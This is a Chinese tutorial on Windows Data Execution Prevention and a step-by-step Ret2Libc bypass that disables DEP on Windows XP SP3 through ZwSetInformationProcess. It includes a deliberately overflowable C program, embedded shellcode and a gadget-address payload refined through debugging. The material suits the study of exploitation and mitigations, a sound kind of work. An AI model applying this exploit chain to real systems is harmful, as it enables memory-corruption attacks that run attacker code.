数据与程序的分水岭:DEP


DEP机制的原理

溢出攻击源自现代计算机对数据和代码没有做明确的区分

DEP的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU抛出异常,而不会去执行恶意指令。linux下可以通过gadgets构造rop链来绕过dep完成攻击,不过在windows下好像实用的gadgets并不是很多。。。。

DEP的主要作用是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码,微软从Windows xp sp2开始支持DEP,根据实现的机制分为两种:

  1. 软件DEP(software dep):即SafeSEH,它的目的是组织利用S.E.H的攻击,这种机制与CPU硬件无关
  2. 硬件DEP(Hardware-enforced DEP):真正意义的DEP,需要硬件支持,AMD称为No-Execute Page-Protection(NX),intel称为Execute Disable Bit(XD),二者功能和原理在本质上一致

操作系统通过设置内存页的NX/XD属性标记指明不能从该内存执行代码,即通过在内存的页面表(Page Table)中加入特殊的标识位(NX/XD)来标识,当标识位为0时表示这个页面允许执行指令,反之则不允许

可以在控制面板-》系统与安全-》系统-》系统保护-》高级-》性能(设置)-》数据执行保护中看到硬件是否支持DEP并进行相应的设置:

Alt

DEP的工作状态根据启动参数分为四种:

  1. Optin:默认讲DEP保护应用于Windows系统组件和服务,对于其他程序不予保护,但是用户可以通过应用程序兼容性工具(ACT,Application Compatibility Toolkit)为选定的程序启用DEP,在Vista下经过/NXcompat选项编译过的程序会自动应用DEP,这种模式被应用于程序动态关闭,多用于普通用户版的操作系统
  2. Optout:为排除列表程序外的所以程序和服务启用DEP,用户可以手动在排除列表中指定不启用DEP保护的程序和服务,这种模式被应用于陈虚谷动态关闭,多用于服务器版的操作系统
  3. AlwaysOn:对所有进程启用DEP的保护,不存在排除列表,这种模式下DEP不可以被关闭
  4. AlwaysOff:对所有进程都禁用DEP,这种模式下DEP不能被动态开启,一般在特定场合才使用

对于编译程序,在Visual Studio 2005及以后版本这引入了/NXCOMPAT链接选项,默认情况下开启DEP,可以在项目属性下链接器的高级选项部分选择是否使用/NXCOMPAT:

Alt

采用/NXCOMPAT编译的程序会在文件的PE头中设置IMAGE_DELLCHARACTERISTICS_NX_COMPAT标识,该标识通过结构体IMAGE_OPTIONAL_HEADER中的DllCharacteristics变量进行体现(设置为0x0100 表示采用了/NXCOMPAT编译)

DEP的局限性:

  1. 硬件DEP需要CPU支持
  2. 由于兼容性的原因,Windows不能对所有进程开启DEP保护,否则可能会出现异常。如一些第三方的插件DLL,因为不能确认其是否支持DEP,所以对这些DLL不会贸然开启DEP;使用ATL 7.1或以前版本的程序需要在数据页面上产生可执行代码,这种情况不能开启DEP
  3. /NXCOMPAT编译选项或者对IMAGE_DLLCHARACTRISTICS_NX_COMPAT的设置,只向后兼容,对于老版本(vista之前)的系统即使设置也会被忽略
  4. 当DEP工作在Optin和Optout模式下时,DEP可以被动态关闭和开启,即操作系统提供了API来控制DEP的状态,而某些情况下操作系统对这些API的调用没有限制

攻击未启用DEP的程序

DEP保护对象是进程级的,当某个进程的加载模块中只要有一个模块不支持DEP,这个进程就不会贸然开启DEP,否则就可能发生异常

利用Ret2Libc挑战DEP

这种思路跟Linux下的Ret2lib思路是一致的,不过windows下的目的有些不同

DEP保护溢出是通过检测程序是否会转到非可执行页执行指令了,也就是说如果跳转到程序本身的指令DEP保护就不起作用了,因为已存在的指令必然在可执行页上。

Ret2Libc执行流程如下:

Alt

Ret2Libc即Return-to-libc,大概就是为shellcode中的每条指令都在代码区找到一条替代指令,就可以完成想要的功能了,不过一方面指令难以全部找到,另一方面遇到0x00的还会被字符串拷贝函数截断,而且栈中的布置也会有不少的问题,所以windos下利用Ret2Libc主要是三种思路:

  1. 通过跳转到ZwSetInformationProcess函数将DEP关闭之后再转入shellcode执行
  2. 通过跳转到VirtualProtect函数来将shellcode所在内存设置为可执行状态,然后再转入shellcode执行
  3. 通过跳转到VirtualAlloc函数开辟一段具有执行权限的内存控件,然后将shellcode复制到这段内存中执行

ZwSetInformationProcess(Ret2Libc)

这种方法是通过调用特定函数来使DEP关闭,然后跳转执行shellcode完成攻击的。一个进程的DEP设置标识保存在KPROCESS 结构中的_KEXECUTE_OPTIONS 上,而这个标识可以通过API 函数ZwQueryInformationProcessZwSetInformationProcess 进行查询和修改(Ntdll.dll中的Nt**函数和Zw**函数功能是完全一致的)

对于_KEXECUTE_OPTIONS:

_KEXECUTE_OPTIONS
Pos0ExecuteDisable :1bit
Pos1ExecuteEnable :1bit
Pos2DisableThunkEmulation :1bit
Pos3Permanent :1bit
Pos4ExecuteDispatchEnable :1bit
Pos5ImageDispatchEnable :1bit
Pos6Spare :2bit

这些标识位中前4 个bit 与DEP 相关,当前进程DEP 开启时ExecuteDisable 位被置1,当进程DEP 关闭时ExecuteEnable 位被置1,DisableThunkEmulation 是为了兼容ATL 程序设置的,Permanent 被置1 后表示这些标志都不能再被修改。真正影响DEP 状态是前两位,所以我们只要将_KEXECUTE_OPTIONS 的值设置为0x02(二进制为00000010)就可以将ExecuteEnable置为1

而对于NtSetInformationProcess:

ZwSetInformationProcess(
    IN HANDLE ProcessHandle,
    IN PROCESS_INFORMATION_CLASS ProcessInformationClass,
    IN PVOID ProcessInformation,
    IN ULONG ProcessInformationLength );

ProcessHandle: 设置进程的句柄,-1时标识当前进程 ProcessInformationClass: 信息类 ProcessInformation:可以设置_KEXECUTE_OPTIONS ProcessInformationLength:参数ProcessInformation的长度

关闭DEP的设置为:ZwSetInformationProcess(-1,0x22,'ptr to 0x2', 0x4),所以只要构造一个合乎要求的栈帧,然后调用函数就可以关闭进程DEP了,不过因为参数中包含0x00(32位下参数通过栈传递,四字节对齐)在使用strcpy时会造成字符串被截断,所以书中给出的方法是通过程序身的一个关闭DEP的调用来构造参数(制造条件)关闭进程的DEP。

因为微软兼容性的问题,如果一个进程的Permanent位没有设置,当它加载DLL时,系统就会对这个DLL进行DEP兼容性检测,当存在兼容性问题时进程的DEP就会被关闭。所以微软设立了LdrpCheckNXCompatibility函数,当符合下列条件时,进程的DEP就会被关闭:

  1. 当DLL受SafeDisc版权保护系统保护时;
  2. 当DLL包含有.aspcak, .pcle, .sforce等字节时;
  3. Windows Vista 下面当DLL 包含在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions键下边标识出不需要启动DEP 的模块时

Windows XP sp3下的LdrpCheckNXCompatibility函数关闭DEP的具体流程如下(SafeDisck的情况):

Alt

所以只需要从图中0x7c93cd24处入手就可以关闭DEP了,而这个位置可以通过插件OllyFindAddrDisable DEP->Disable DEP <=XP SP3来查询。

因为只有当AL等于1时,我们期望的流程才能执行,所以首先需要找到一个实现mov ax,1;retn功能的指令地址,这个地址同样可以通过OllyFindAddrDisable DEP->Disable DEP <=XP SP3来查询。这样就可以在设置ax之后回到关闭DEP的这个位置继续执行然后关掉DEP了。

注意:找到的地址中不能包含0x00否则在使用strcpy复制时会造成字符串截断而导致攻击失败的情况

考虑下面代码:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
;
void test()
{
    char tt[176];
    strcpy(tt,shellcode);
}
int main()
{
    HINSTANCE hInst = LoadLibrary("shell32.dll");
    char temp[200];
    __asm int 3;
    test();
    return 0;
}

书中的完整payload是根据一步步调试得到的,所以这里直接根据调试得到的信息逐步修改和完善payload即可。 对于代码思路还是比较简单的:

  1. 不考虑GS和SafeSEH的情况;
  2. 函数test存在溢出,可以控制返回地址;
  3. 将函数返回地址覆盖为设置ax值的地址;
  4. 然后再部署上关闭DEP代码的地址,使ax赋值之后能够正常去执行这段代码进而关闭DEP;
  5. 关闭DEP之后跳转到shellcode执行。

其实这里的主要问题(再未调试的情况下)是如何在关闭DEP之后跳转到shellcode去执行,因为关闭DEP是调用的函数,所以在执行完必然会执行retn指令,所以我们只需要在执行retn时栈顶的位置部署上一个栈上可控的地址或者通过调整栈帧使这时候的栈顶执行一个可控的栈上地址,然后再这个可控的栈上的的位置部署上一个可以跳转到shellcode的长跳指令,就可以执行shellcode了。

首先,需要确定的是输入位置到函数返回地址处的偏移,这个很好确定即180。所以有shellcode:

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C"//MOV EAX,1 RETN 地址
"\x24\xCD\x93\x7C"//关闭DEP 代码的起始位置
;

编译程序,然后允许载入到OD调试,可以发现在test函数结束销毁栈帧时pop bep会将栈中写入的的’\x90\x90\x90\x90`弹到ebp,但是关闭DEP的代码中会通过EBP来向栈中写入数据:

Alt Alt

所以需要先修复EBP才能关闭DEP,幸运的时这里是向EBP写数据,而不是直接读数据,所以这里只要将EBP修改成一个可写的地址即可。书中提供的思路是通过类似PUSH ESP;POP EBP;RETN的指令将EBP定位到一个可写的位置,这里同样使用插件OllyFindAddrDisable DEP->Disable DEP <=XP SP3来查询:

Alt

回顾前面进入关闭DEP代码前的寄存器状态,发现只要esp指向的空间是可写的,所以这里只能选取PUSH ESP;POP EBP的指令,所以在进入关闭代码前先修复EBP:

...
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C"//MOV EAX,1 RETN 地址
"\x85\x8B\x1D\x5D"// 修复EBP
"\x24\xCD\x93\x7C"//关闭DEP 代码的起始位置

重新编译,再继续调试:

需要注意的是,这里修复EBP的指令是PUSH ESP;POP EBP;RETN 4,retn 4执行之后esp会加4,也即是说修复之后esp指向ebp+8的位置(retn指令执行会使esp+4)

Alt

可以发现此时可以正常执行MOV DWORD PTR SS:[EBP-4],ESI了继续调试

Alt

call ZwSetInformationProcess前,参数正常压栈,此时[EBP-4]的内容已经被修改为0x22,根据_KEXECUTE_OPTIONS 结构我们知道DEP 只和结构中的前4 位有关,只要前4 位为二进制代码为0100 就可关闭DEP,而0x22(00100010)刚刚符合这个要求,所以这里已经可以正常关闭DEP了

不过往后执行发现这片代码执行完之后会执行pop;leave;retn三条指令(其实是正常关闭DEP函数的结尾,用来销毁栈帧)。很容易发现执行完leave指令之后,esp会指向ebp+4的位置,而要达到目的,我们需要将这个位置写上shellcode的地址:

Alt

但不幸的是在关闭DEP的过程中这个位置的值会被重写,所以这里并不能直接附上shellcode的地址,解决办法是在修复EBP之后增大或减小esp的值,来避免进入关闭DEP的代码后我们在栈中部署的数据被破坏(关闭DEP的代码中,会有PUSH操作,这会修改ESP附近的值)

因为shellcode部署在低地址处,所以这里不能减小esp,否则会破坏shellcode,那么只能通过增大esp来解决这个问题了,可以使用带有偏移量的RETN 指令来达到增大ESP 的目的,如RETN 0x28 等指令可以执行RETN 指令后再将ESP 增加0x28 个字节。通过OllyFindAddr插件中的Overflow return address-> POP RETN+N 选项来查找:

Alt

需要注意的是,这些指令中不能对esp和ebp有直接的操作,否则前面的工作就没有用了,先尝试增大esp:

...
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C"
"\x85\x8B\x1D\x5D" // 修复EBP
"\x19\x4A\x97\x7C" // RETN 28增大ESP
"\x24\xCD\x93\x7C"//关闭DEP 代码的起始位置

重新编译后,继续调试,发现执行完RETN 28之后程序崩溃,原因是这里修复ebp之后执行的是retn 4,所以关闭DEP代码的地址应该要向高地址靠四个字节:

Alt

根据前面的分析,关闭DEP的代码执行结束后会执行leave等指令,然后执行[ebp+4]指向的的区域,而ebp+4的位置刚好是我们填充以让程序可以执行关闭EBP代码的四个字节所在位置,因为strcpy会被0x00截断,所以我们不能直接写入shellcode的地址,但是可以通过类似CALL esp的指令跳到esp,然后在esp处部署上shellcode的地址或者是跳向shellcode的指令编码,所以有如下布局:

...
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C"
"\x85\x8B\x1D\x5D"
"\x19\x4A\x97\x7C" //增大ESP
"\xB4\xC1\xC5\x7D" // jmp ESP
"\x24\xCD\x93\x7C" //关闭DEP 代码的起始位置

继续调试,可以发现增大后的esp刚好位于关闭DEP代码起始位置的高四字节处:

Alt

因为shellcode的起始地址是0x0012fdf0,地址中包含了0x00所以这里不能直接写上shellcode的地址,不过可以直接通过短跳回跳到shellcode执行,jmp esp之后eip指向0x0012feb8,所以向回跳0x0012feb8+4-0x0012fdf0=0xcc个字节就可以执行shellcode了,所以有:

...
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C"
"\x85\x8B\x1D\x5D"
"\x19\x4A\x97\x7C" //增大ESP
"\xB4\xC1\xC5\x7D" // jmp ESP
"\x24\xCD\x93\x7C" //关闭DEP 代码的起始位置
"\xE9\x33\xFF\xFF" //回跳指令
"\xFF\x90\x90\x90"